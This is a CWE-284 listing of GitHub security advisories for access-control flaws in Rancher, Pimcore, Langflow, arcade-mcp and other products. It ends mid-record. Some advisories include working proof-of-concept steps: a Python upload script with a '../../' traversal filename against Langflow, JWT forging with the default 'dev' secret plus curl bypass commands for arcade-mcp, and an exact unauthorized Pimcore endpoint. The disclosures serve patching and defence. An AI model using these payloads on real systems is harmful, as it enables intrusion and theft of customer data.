CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
8430 vulnerabilities reference this CWE, most recent first.
GHSA-G25R-GVQ3-WRQ7
Vulnerability from github – Published: 2023-01-25 19:36 – Updated: 2023-02-07 15:49Impact
An issue was discovered in Rancher where an authorization logic flaw allows an authenticated user on any downstream cluster to (1) open a shell pod in the Rancher local cluster and (2) have limited kubectl access to it. The expected behavior is that a user does not have such access in the Rancher local cluster unless explicitly granted.
This issue does not allow the user to escalate privileges in the local cluster directly (this would require another vulnerability to be exploited).
The security issue happens in two different ways:
-
Shell pod access - This is when a user opens a shell pod in the Rancher UI to a downstream cluster that the user has permission to access. The web request can be intercepted using the browser's web inspector/network console or a proxy tool to change the shell's destination to the Rancher
localcluster instead of the desired downstream cluster. -
This flaw cannot be exploited to access a downstream cluster that the user has no permissions to.
-
The shell pod runs with a limited non-root user, reducing the severity of this issue. However, even as a non-root user, it is still possible download and run binaries inside the shell pod.
-
The blast radius of this issue can increase based on the configuration of the
localcluster. For example:-
If the
localcluster has unlimited network access, e.g. to the Internet, the user can open a reverse network connection to the shell pod. -
Or access the cloud metadata API of the underlying cloud infrastructure, where the user can extract the credentials associated with the
localcluster and use them to interact with the cloud environment (this will be limited by the permissions granted to the cloud credentials in question). -
Check further recommendations about liming access to the cloud metadata API in Rancher's security best practices.
-
-
Kubectl access - When downloading the kubeconfig file of a downstream cluster that the user has access to, the
servercluster address in the kubeconfig file can be changed to point to the Rancherlocalcluster instead of the intended downstream cluster.-
This can also be achieved by crafting a kubeconfig using a Rancher token instead of using the kubeconfig from an active cluster.
-
This flaw cannot be exploited to access a downstream cluster that the user has no permissions to.
-
Notes:
- Rancher local cluster means the cluster where Rancher is installed. It is named as local inside the list of clusters in the Rancher UI.
- Audit logs in Rancher can be used to identify possible abuses of this issue, by tracking API requests to the user ID of the user that performed the action. API audit logs can be enabled as described in the documentation when set to level 1 or above.
Workarounds
There is no workaround or direct mitigation besides updating to a patched Rancher version.
Patches
Patched versions include releases 2.5.17, 2.6.10, 2.7.1 and later versions.
For more information
If you have any questions or comments about this advisory:
- Reach out to SUSE Rancher Security team for security related inquiries.
- Open an issue in Rancher repository.
- Verify our support matrix and product support lifecycle.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/rancher"
},
"ranges": [
{
"events": [
{
"introduced": "2.5.0"
},
{
"fixed": "2.5.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/rancher"
},
"ranges": [
{
"events": [
{
"introduced": "2.6.0"
},
{
"fixed": "2.6.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/rancher"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-21953"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-285",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-25T19:36:09Z",
"nvd_published_at": "2023-02-07T13:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nAn issue was discovered in Rancher where an authorization logic flaw allows an authenticated user on any downstream cluster to (1) open a shell pod in the Rancher `local` cluster and (2) have limited `kubectl` access to it. The expected behavior is that a user does not have such access in the Rancher `local` cluster unless explicitly granted.\n\nThis issue does not allow the user to escalate privileges in the `local` cluster directly (this would require another vulnerability to be exploited).\n\nThe security issue happens in two different ways:\n\n1. Shell pod access - This is when a user opens a shell pod in the Rancher UI to a downstream cluster that the user has permission to access. The web request can be intercepted using the browser\u0027s web inspector/network console or a proxy tool to change the shell\u0027s destination to the Rancher `local` cluster instead of the desired downstream cluster.\n\n - This flaw cannot be exploited to access a downstream cluster that the user has no permissions to.\n\n - The shell pod runs with a limited non-root user, reducing the severity of this issue. However, even as a non-root user, it is still possible download and run binaries inside the shell pod.\n\n - The blast radius of this issue can increase based on the configuration of the `local` cluster. For example:\n\n - If the `local` cluster has unlimited network access, e.g. to the Internet, the user can open a reverse network connection to the shell pod.\n\n - Or access the cloud metadata API of the underlying cloud infrastructure, where the user can extract the credentials associated with the `local` cluster and use them to interact with the cloud environment (this will be limited by the permissions granted to the cloud credentials in question). \n\n - Check further recommendations about liming access to the cloud metadata API in Rancher\u0027s [security best practices](https://ranchermanager.docs.rancher.com/reference-guides/rancher-security/kubernetes-security-best-practices).\n\n2. Kubectl access - When downloading the kubeconfig file of a downstream cluster that the user has access to, the `server` cluster address in the kubeconfig file can be changed to point to the Rancher `local` cluster instead of the intended downstream cluster.\n\n - This can also be achieved by crafting a kubeconfig using a Rancher token instead of using the kubeconfig from an active cluster. \n\n - This flaw cannot be exploited to access a downstream cluster that the user has no permissions to.\n\nNotes:\n- Rancher `local` cluster means the cluster where Rancher is installed. It is named as `local` inside the list of clusters in the Rancher UI.\n- Audit logs in Rancher can be used to identify possible abuses of this issue, by tracking API requests to the user ID of the user that performed the action. API audit logs can be enabled as described in the [documentation](https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log) when set to level `1` or above.\n\n### Workarounds\n\nThere is no workaround or direct mitigation besides updating to a patched Rancher version.\n\n### Patches\n\nPatched versions include releases 2.5.17, 2.6.10, 2.7.1 and later versions.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Reach out to [SUSE Rancher Security team](https://github.com/rancher/rancher/security/policy) for security related inquiries.\n* Open an issue in [Rancher](https://github.com/rancher/rancher/issues/new/choose) repository.\n* Verify our [support matrix](https://www.suse.com/suse-rancher/support-matrix/all-supported-versions/) and [product support lifecycle](https://www.suse.com/lifecycle/).",
"id": "GHSA-g25r-gvq3-wrq7",
"modified": "2023-02-07T15:49:33Z",
"published": "2023-01-25T19:36:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rancher/rancher/security/advisories/GHSA-g25r-gvq3-wrq7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21953"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1199731"
},
{
"type": "PACKAGE",
"url": "https://github.com/rancher/rancher"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Authenticated user can gain unauthorized shell pod and kubectl access in the local cluster"
}
GHSA-G273-WPPX-82W4
Vulnerability from github – Published: 2024-01-10 15:24 – Updated: 2024-01-11 15:41Summary
An authenticated and unauthorized user can access the GDPR data extraction feature and query over the information returned, leading to customer data exposure.
Details
Permissions do not seem to be enforced when reaching the /admin/customermanagementframework/gdpr-data/search-data-objects endpoint allowing an authenticated user without the permissions to access the endpoint and query the data available there. It seems that the access control is not enforced in this place : https://github.com/pimcore/customer-data-framework/blob/b4af625ef327c58d05ef7cdf145fa749d2d4195e/src/Controller/Admin/GDPRDataController.php#L38
PoC
In order to reproduce the issue, the following steps can be followed:
- As an administrator : a. Create a role without any permission through Settings → User & Roles → Roles in the administration panel b. Create an user through Settings → User & Roles → Users and assign it the unprivileged role previously created
- Log out the current administrator and log in with this new user
- Access to the following endpoint
https://pimcore_instance/admin/customermanagementframework/gdpr-data/search-data-objects?id=&firstname=&lastname=&email=&page=1&start=0&limit=50and the results will be returned to this unauthorized user.
Impact
An unauthorized user can access PII data from customers without being authorized to.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "pimcore/customer-management-framework-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-21667"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-10T15:24:08Z",
"nvd_published_at": "2024-01-11T01:15:45Z",
"severity": "MODERATE"
},
"details": "### Summary\nAn authenticated and unauthorized user can access the GDPR data extraction feature and query over the information returned, leading to customer data exposure.\n\n### Details\nPermissions do not seem to be enforced when reaching the `/admin/customermanagementframework/gdpr-data/search-data-objects` endpoint allowing an authenticated user without the permissions to access the endpoint and query the data available there. It seems that the access control is not enforced in this place : \u003chttps://github.com/pimcore/customer-data-framework/blob/b4af625ef327c58d05ef7cdf145fa749d2d4195e/src/Controller/Admin/GDPRDataController.php#L38\u003e\n\n### PoC\n\nIn order to reproduce the issue, the following steps can be followed: \n\n1. As an administrator : \n a. Create a role without any permission through Settings \u2192 User \u0026 Roles \u2192 Roles in the administration panel\n b. Create an user through Settings \u2192 User \u0026 Roles \u2192 Users and assign it the unprivileged role previously created\n2. Log out the current administrator and log in with this new user\n3. Access to the following endpoint `https://pimcore_instance/admin/customermanagementframework/gdpr-data/search-data-objects?id=\u0026firstname=\u0026lastname=\u0026email=\u0026page=1\u0026start=0\u0026limit=50` and the results will be returned to this unauthorized user.\n\n### Impact\nAn unauthorized user can access PII data from customers without being authorized to. \n",
"id": "GHSA-g273-wppx-82w4",
"modified": "2024-01-11T15:41:51Z",
"published": "2024-01-10T15:24:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pimcore/customer-data-framework/security/advisories/GHSA-g273-wppx-82w4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21667"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/customer-data-framework/commit/6c34515be2ba39dceee7da07a1abf246309ccd77"
},
{
"type": "PACKAGE",
"url": "https://github.com/pimcore/customer-data-framework"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/customer-data-framework/blob/b4af625ef327c58d05ef7cdf145fa749d2d4195e/src/Controller/Admin/GDPRDataController.php#L38"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Pimcore Customer Data Framework Improper Access Control allows unprivileged user to access GDPR extracts"
}
GHSA-G28C-MRPM-X2WH
Vulnerability from github – Published: 2022-05-17 04:03 – Updated: 2022-05-17 04:03RT (aka Request Tracker) before 4.0.23 and 4.2.x before 4.2.10 allows remote attackers to hijack sessions via an RSS feed URL.
{
"affected": [],
"aliases": [
"CVE-2015-1464"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-03-09T14:59:00Z",
"severity": "MODERATE"
},
"details": "RT (aka Request Tracker) before 4.0.23 and 4.2.x before 4.2.10 allows remote attackers to hijack sessions via an RSS feed URL.",
"id": "GHSA-g28c-mrpm-x2wh",
"modified": "2022-05-17T04:03:59Z",
"published": "2022-05-17T04:03:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-1464"
},
{
"type": "WEB",
"url": "http://blog.bestpractical.com/2015/02/security-vulnerabilities-in-rt.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-April/154213.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-March/154047.html"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2015/dsa-3176"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G2CQ-Q859-8FM9
Vulnerability from github – Published: 2025-11-06 18:32 – Updated: 2025-11-07 18:30An issue was discovered in AnyDesk through 9.0.4. A remotely connected user with the "Control my device" permission can manipulate remote AnyDesk settings and create a password for the Full Access profile without needing confirmation from the counterparty. Consequently, the attacker can later connect without this counterparty confirmation.
{
"affected": [],
"aliases": [
"CVE-2025-27919"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-06T18:15:40Z",
"severity": "HIGH"
},
"details": "An issue was discovered in AnyDesk through 9.0.4. A remotely connected user with the \"Control my device\" permission can manipulate remote AnyDesk settings and create a password for the Full Access profile without needing confirmation from the counterparty. Consequently, the attacker can later connect without this counterparty confirmation.",
"id": "GHSA-g2cq-q859-8fm9",
"modified": "2025-11-07T18:30:28Z",
"published": "2025-11-06T18:32:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27919"
},
{
"type": "WEB",
"url": "https://anydesk.com/en/changelog/windows"
},
{
"type": "WEB",
"url": "https://dspace.cvut.cz/bitstream/handle/10467/122721/F8-DP-2025-Krejsa-Vojtech-DP_Krejsa_Vojtech_2025.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G2G3-WFQ2-3G8V
Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-05-26 13:30Dell ECS, versions 3.5 and 3.6, contain an Improper Access Control in the Identity and Access Management (IAM) module. A remote unauthenticated attacker may potentially exploit this vulnerability, leading to gaining read access to unauthorized data.
{
"affected": [],
"aliases": [
"CVE-2022-31231"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-22T16:16:19Z",
"severity": "HIGH"
},
"details": "Dell ECS, versions 3.5 and 3.6, contain an Improper Access Control in the Identity and Access Management (IAM) module. A remote unauthenticated attacker may potentially exploit this vulnerability, leading to gaining read access to unauthorized data.",
"id": "GHSA-g2g3-wfq2-3g8v",
"modified": "2026-05-26T13:30:17Z",
"published": "2026-05-26T13:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31231"
},
{
"type": "WEB",
"url": "https://dellservices.lightning.force.com/lightning/r/Lightning_Knowledge__kav/ka06P0000004RFTQA2/view"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G2GV-P2WG-G748
Vulnerability from github – Published: 2025-06-30 00:30 – Updated: 2025-06-30 00:30A vulnerability, which was classified as critical, has been found in SourceCodester Simple Company Website 1.0. This issue affects some unknown processing of the file /classes/Users.php?f=save. The manipulation of the argument img leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-6873"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-29T22:15:21Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, has been found in SourceCodester Simple Company Website 1.0. This issue affects some unknown processing of the file /classes/Users.php?f=save. The manipulation of the argument img leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-g2gv-p2wg-g748",
"modified": "2025-06-30T00:30:23Z",
"published": "2025-06-30T00:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6873"
},
{
"type": "WEB",
"url": "https://github.com/ez-lbz/poc/issues/29"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.314345"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.314345"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.603645"
},
{
"type": "WEB",
"url": "https://www.sourcecodester.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G2J9-7RJ2-GM6C
Vulnerability from github – Published: 2026-03-19 17:46 – Updated: 2026-06-06 00:55Summary
While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.
This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).
Details
The vulnerability exists in two layers:
- API Layer (
src/backend/base/langflow/api/v2/files.py:162): Inside theupload_user_fileroute, thefilenameis extracted directly from the multipartContent-Dispositionheader (new_filename = file.filename). It is passed verbatim to the storage service.ValidatedFileNameprovides zero protection here as it only guards URL path parameters. - Storage Layer (
src/backend/base/langflow/services/storage/local.py:114-116): TheLocalStorageServiceuses naive path concatenation (file_path = folder_path / file_name). It lacks aresolve().is_relative_to(base_dir)containment check.
Recommended Fix:
- Sanitize the multipart filename before processing:
from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name # Strips directory traversal characters
if not new_filename or ".." in new_filename:
raise HTTPException(status_code=400, detail="Invalid file name")
- Add a canonical path containment check inside
LocalStorageService.save_fileto permanently kill this vulnerability class.
PoC
This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.
import requests
BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]
# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"
resp = requests.post(
f"{BASE_URL}/api/v2/files/",
headers={"Authorization": f"Bearer {token}"},
files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)
print(f"Status: {resp.status_code}") # Returns 201
# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`
Server Logs:
2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
Docker cntainer file:
user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txt
Impact
Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langflow"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "1.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33309"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-284",
"CWE-73",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T17:46:43Z",
"nvd_published_at": "2026-03-24T13:16:02Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nWhile reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency.\n\nThis defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in two layers:\n\n1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters.\n2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check.\n\n**Recommended Fix:**\n\n1. Sanitize the multipart filename before processing:\n\n```python\nfrom pathlib import Path as StdPath\nnew_filename = StdPath(file.filename or \"\").name # Strips directory traversal characters\nif not new_filename or \"..\" in new_filename:\n raise HTTPException(status_code=400, detail=\"Invalid file name\")\n\n```\n\n2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class.\n\n### PoC\nThis Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user\u0027s UUID storage directory.\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:7860\"\n# Authenticate to get a valid JWT\ntoken = requests.post(f\"{BASE_URL}/api/v1/login\", data={\"username\": \"admin\", \"password\": \"admin\"}).json()[\"access_token\"]\n\n# Payload using directory traversal in the multipart filename\nTRAVERSAL_FILENAME = \"../../traversal_proof.txt\"\nSENTINEL_CONTENT = b\"CVE_RESEARCH_SENTINEL_KEY\"\n\nresp = requests.post(\n f\"{BASE_URL}/api/v2/files/\",\n headers={\"Authorization\": f\"Bearer {token}\"},\n files={\"file\": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, \"text/plain\")},\n)\n\nprint(f\"Status: {resp.status_code}\") # Returns 201\n# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`\n\n```\n\nServer Logs:\n```\n2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n```\nDocker cntainer file:\n```\nuser@40416f6848f2:~/.cache/langflow$ ls\n3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures\tsecret_key traversal_proof.txt\n```\n\n### Impact\nAuthenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.",
"id": "GHSA-g2j9-7rj2-gm6c",
"modified": "2026-06-06T00:55:50Z",
"published": "2026-03-19T17:46:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33309"
},
{
"type": "PACKAGE",
"url": "https://github.com/langflow-ai/langflow"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-79.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Langflow has an Arbitrary File Write (RCE) via v2 API"
}
GHSA-G2JX-37X6-6438
Vulnerability from github – Published: 2025-12-02 17:55 – Updated: 2025-12-02 21:44Summary
The arcade-mcp HTTP server uses a hardcoded default worker secret ("dev") that is never validated or overridden during normal server startup. As a result, any unauthenticated attacker who knows this default key can forge valid JWTs and fully bypass the FastAPI authentication layer. This grants remote access to all worker endpoints—including tool enumeration and tool invocation—without credentials.
Anyone following the official quick-start guide is vulnerable unless they manually override ARCADE_WORKER_SECRET.
Details
The documented method for launching an HTTP MCP server (python server.py http) implicitly sets the worker secret to the hardcoded default "dev":
ArcadeSettings.server_secret defaults to "dev" (libs/arcade-mcp-server/arcade_mcp_server/settings.py:129–158)
create_arcade_mcp() passes this value directly to FastAPIWorker without validation (libs/arcade-mcp-server/arcade_mcp_server/worker.py:118–188)
BaseWorker._set_secret() accepts this value and does not enforce rotation (libs/arcade-serve/arcade_serve/core/base.py:42–83)
Because the worker’s signing key is constant and publicly documented, attackers can trivially generate valid HS256 JWTs:
The FastAPI worker auth middleware (arcade_serve/fastapi/auth.py) trusts any JWT signed with the worker secret.
The core auth layer (arcade_serve/core/auth.py) does not distinguish forged tokens from legitimate ones.
The official quick-start instructions (README.md:164–190) demonstrate launching an MCP server without mentioning worker-secret rotation. Users are told how to define tool secrets in .env, but not that the worker’s authentication key must be changed.
As a result, servers deployed following the documented workflow expose all /worker/* endpoints to anyone capable of generating a simple HS256 token using the known key.
This CVE was resolved by https://github.com/ArcadeAI/arcade-mcp/pull/691
PoC
Start the server using the official guide https://docs.arcade.dev/en/home/build-tools/create-a-mcp-server
Verify that unauthenticated access is rejected (expected)
curl -s -D - http://127.0.0.1:8000/worker/tools
# → 403 Forbidden
Forge a valid HS256 token using the hardcoded default secret "dev"
import jwt
print(jwt.encode({'ver': '1', 'aud': 'worker'}, 'dev', algorithm='HS256'))
Use the forged token to bypass authentication
curl -s -D - \
-H "Authorization: Bearer $(cat /tmp/forged_token.txt)" \
http://127.0.0.1:8000/worker/tools
Result: The server responds 200 OK with the full tool catalog and allows invocation of all worker tools.
Server logs show a rejected request immediately followed by a successful forged request, confirming the bypass.
Impact
This is an authentication bypass that results in full remote access to all MCP worker endpoints:
Unauthenticated attackers can enumerate tools
Invoke arbitrary tools remotely
Access any data returned by tools (including secrets loaded into ToolContext)
Execute actions inside internal systems if tools expose operational capabilities
Perform these actions without any brute forcing or guesswork due to the known default signing key
Any user who follows the official setup guide is exposed unless they manually override ARCADE_WORKER_SECRET, which is not documented.
This vulnerability effectively gives complete remote control over the MCP worker API to any attacker aware of the default key.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "arcade-mcp-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66454"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-321"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-02T17:55:44Z",
"nvd_published_at": "2025-12-02T19:15:52Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe arcade-mcp HTTP server uses a hardcoded default worker secret (\"dev\") that is never validated or overridden during normal server startup. As a result, any unauthenticated attacker who knows this default key can forge valid JWTs and fully bypass the FastAPI authentication layer. This grants remote access to all worker endpoints\u2014including tool enumeration and tool invocation\u2014without credentials.\n\nAnyone following the official quick-start guide is vulnerable unless they manually override ARCADE_WORKER_SECRET.\n\n### Details\n\nThe documented method for launching an HTTP MCP server (python server.py http) implicitly sets the worker secret to the hardcoded default \"dev\":\n\nArcadeSettings.server_secret defaults to \"dev\"\n(libs/arcade-mcp-server/arcade_mcp_server/settings.py:129\u2013158)\n\ncreate_arcade_mcp() passes this value directly to FastAPIWorker without validation\n(libs/arcade-mcp-server/arcade_mcp_server/worker.py:118\u2013188)\n\nBaseWorker._set_secret() accepts this value and does not enforce rotation\n(libs/arcade-serve/arcade_serve/core/base.py:42\u201383)\n\nBecause the worker\u2019s signing key is constant and publicly documented, attackers can trivially generate valid HS256 JWTs:\n\nThe FastAPI worker auth middleware (arcade_serve/fastapi/auth.py) trusts any JWT signed with the worker secret.\n\nThe core auth layer (arcade_serve/core/auth.py) does not distinguish forged tokens from legitimate ones.\n\nThe official quick-start instructions (README.md:164\u2013190) demonstrate launching an MCP server without mentioning worker-secret rotation. Users are told how to define tool secrets in .env, but not that the worker\u2019s authentication key must be changed.\n\nAs a result, servers deployed following the documented workflow expose all /worker/* endpoints to anyone capable of generating a simple HS256 token using the known key.\n\nThis CVE was resolved by https://github.com/ArcadeAI/arcade-mcp/pull/691\n\n### PoC\n\nStart the server using the official guide\nhttps://docs.arcade.dev/en/home/build-tools/create-a-mcp-server\n\nVerify that unauthenticated access is rejected (expected)\n```\ncurl -s -D - http://127.0.0.1:8000/worker/tools\n# \u2192 403 Forbidden\n```\n\nForge a valid HS256 token using the hardcoded default secret \"dev\"\n```\nimport jwt\nprint(jwt.encode({\u0027ver\u0027: \u00271\u0027, \u0027aud\u0027: \u0027worker\u0027}, \u0027dev\u0027, algorithm=\u0027HS256\u0027))\n```\n\nUse the forged token to bypass authentication\n```\ncurl -s -D - \\\n -H \"Authorization: Bearer $(cat /tmp/forged_token.txt)\" \\\n http://127.0.0.1:8000/worker/tools\n```\n\nResult:\nThe server responds 200 OK with the full tool catalog and allows invocation of all worker tools.\n\nServer logs show a rejected request immediately followed by a successful forged request, confirming the bypass.\n\n### Impact\n\nThis is an authentication bypass that results in full remote access to all MCP worker endpoints:\n\nUnauthenticated attackers can enumerate tools\n\nInvoke arbitrary tools remotely\n\nAccess any data returned by tools (including secrets loaded into ToolContext)\n\nExecute actions inside internal systems if tools expose operational capabilities\n\nPerform these actions without any brute forcing or guesswork due to the known default signing key\n\nAny user who follows the official setup guide is exposed unless they manually override ARCADE_WORKER_SECRET, which is not documented.\n\nThis vulnerability effectively gives complete remote control over the MCP worker API to any attacker aware of the default key.",
"id": "GHSA-g2jx-37x6-6438",
"modified": "2025-12-02T21:44:00Z",
"published": "2025-12-02T17:55:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ArcadeAI/arcade-mcp/security/advisories/GHSA-g2jx-37x6-6438"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66454"
},
{
"type": "WEB",
"url": "https://github.com/ArcadeAI/arcade-mcp/pull/691"
},
{
"type": "WEB",
"url": "https://github.com/ArcadeAI/arcade-mcp/commit/44660d18ceb220600401303df860a31ca766c817"
},
{
"type": "WEB",
